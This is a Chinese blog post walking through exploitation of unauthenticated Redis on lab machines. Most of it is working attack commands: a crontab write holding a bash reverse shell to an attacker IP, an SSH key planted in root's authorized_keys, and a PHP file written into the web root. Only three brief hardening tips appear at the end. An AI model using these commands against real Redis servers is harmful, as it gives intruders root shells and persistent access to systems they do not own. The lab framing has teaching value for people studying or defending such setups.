美文网首页
redis未授权漏洞

redis未授权漏洞

作者: migrate_ | 来源:发表于2020-04-16 17:24 被阅读0次
  • 安装过程就不说了很简单,不过可能会出现错误,给出大佬博客,安装这个来应该可以完美的安装环境
https://blog.csdn.net/qq_36527339/article/details/81164353
  • 漏洞复现
连接redis:
redis-cli -h 192.168.63.130
  1. 利用计划任务执行命令反弹shell
    在redis以root权限运行时可以写crontab来执行命令反弹shell
先在自己的服务器上监听一个端口
nc -lvnp 7999
然后执行命令:
root@kali:~# redis-cli -h 192.168.63.130
192.168.63.130:6379> set x "\n* * * * * bash -i >& /dev/tcp/192.168.63.128/7999 0>&1\n"
192.168.63.130:6379> config set dir /var/spool/cron/
192.168.63.130:6379> config set dbfilename root
192.168.63.130:6379> save
00.jpg 0.jpg
  • nc监听端口已经反弹回来shell
  1. 写ssh-keygen公钥然后使用私钥登陆
  • 在以下条件下,可以利用此方法
    • Redis服务使用ROOT账号启动
    • 服务器开放了SSH服务,而且允许使用密钥登录,即可远程写入一个公钥,直接登录远程服务器。
首先在kali本地生成一对密钥:
root@kali:~/.ssh# ssh-keygen -t rsa
执行语句,提示输入什么时,一直回车就好:
cd /root/.ssh
(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > key.txt
将保存的公钥key.txt写入Redis(使用redis-cli -h ip命令连接靶机,将文件写入)
cat key.txt | redis-cli -h 10.10.10.135 -x set crack
redis-cli -h 10.10.10.135
CONFIG GET dir
config set dir /root/.ssh
CONFIG SET dbfilename authorized_keys
CONFIG GET dbfilename
save
exit
ssh -i id_rsa root@x.x.xx
也可以这样使用,一样的:

    192.168.63.130:6379> config set dir /root/.ssh/
    OK
    192.168.63.130:6379> config set dbfilename authorized_keys
    OK
    192.168.63.130:6379> set x "\n\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDKfxu58CbSzYFgd4BOjUyNSpbgpkzBHrEwH2/XD7rvaLFUzBIsciw9QoMS2ZPCbjO0IZL50Rro1478kguUuvQrv/RE/eHYgoav/k6OeyFtNQE4LYy5lezmOFKviUGgWtUrra407cGLgeorsAykL+lLExfaaG/d4TwrIj1sRz4/GeiWG6BZ8uQND9G+Vqbx/+zi3tRAz2PWBb45UXATQPvglwaNpGXVpI0dxV3j+kiaFyqjHAv541b/ElEdiaSadPjuW6iNGCRaTLHsQNToDgu92oAE2MLaEmOWuQz1gi90o6W1WfZfzmS8OJHX/GJBXAMgEgJhXRy2eRhSpbxaIVgx root@kali\n\n\n"
    OK
    192.168.63.130:6379> save
    OK
  • save后可以直接利用公钥登录ssh
1.png
  • 往web物理路径写webshell
  • 当redis权限不高时,并且服务器开着web服务,在redis有web目录写权限时,可以尝试往web路径写webshell
  • 执行以下命令
    192.168.63.130:6379> config set dir /var/www/html/
    OK
    192.168.63.130:6379> config set dbfilename shell.php
    OK
    192.168.63.130:6379> set x "<?php phpinfo();?>"
    OK
    192.168.63.130:6379> save
    OK
  • 安全配置
    限制登录ip
    添加密码
    修改默认端口

相关文章

网友评论

      本文标题:redis未授权漏洞

      本文链接:https://www.haomeiwen.com/subject/vyrdvhtx.html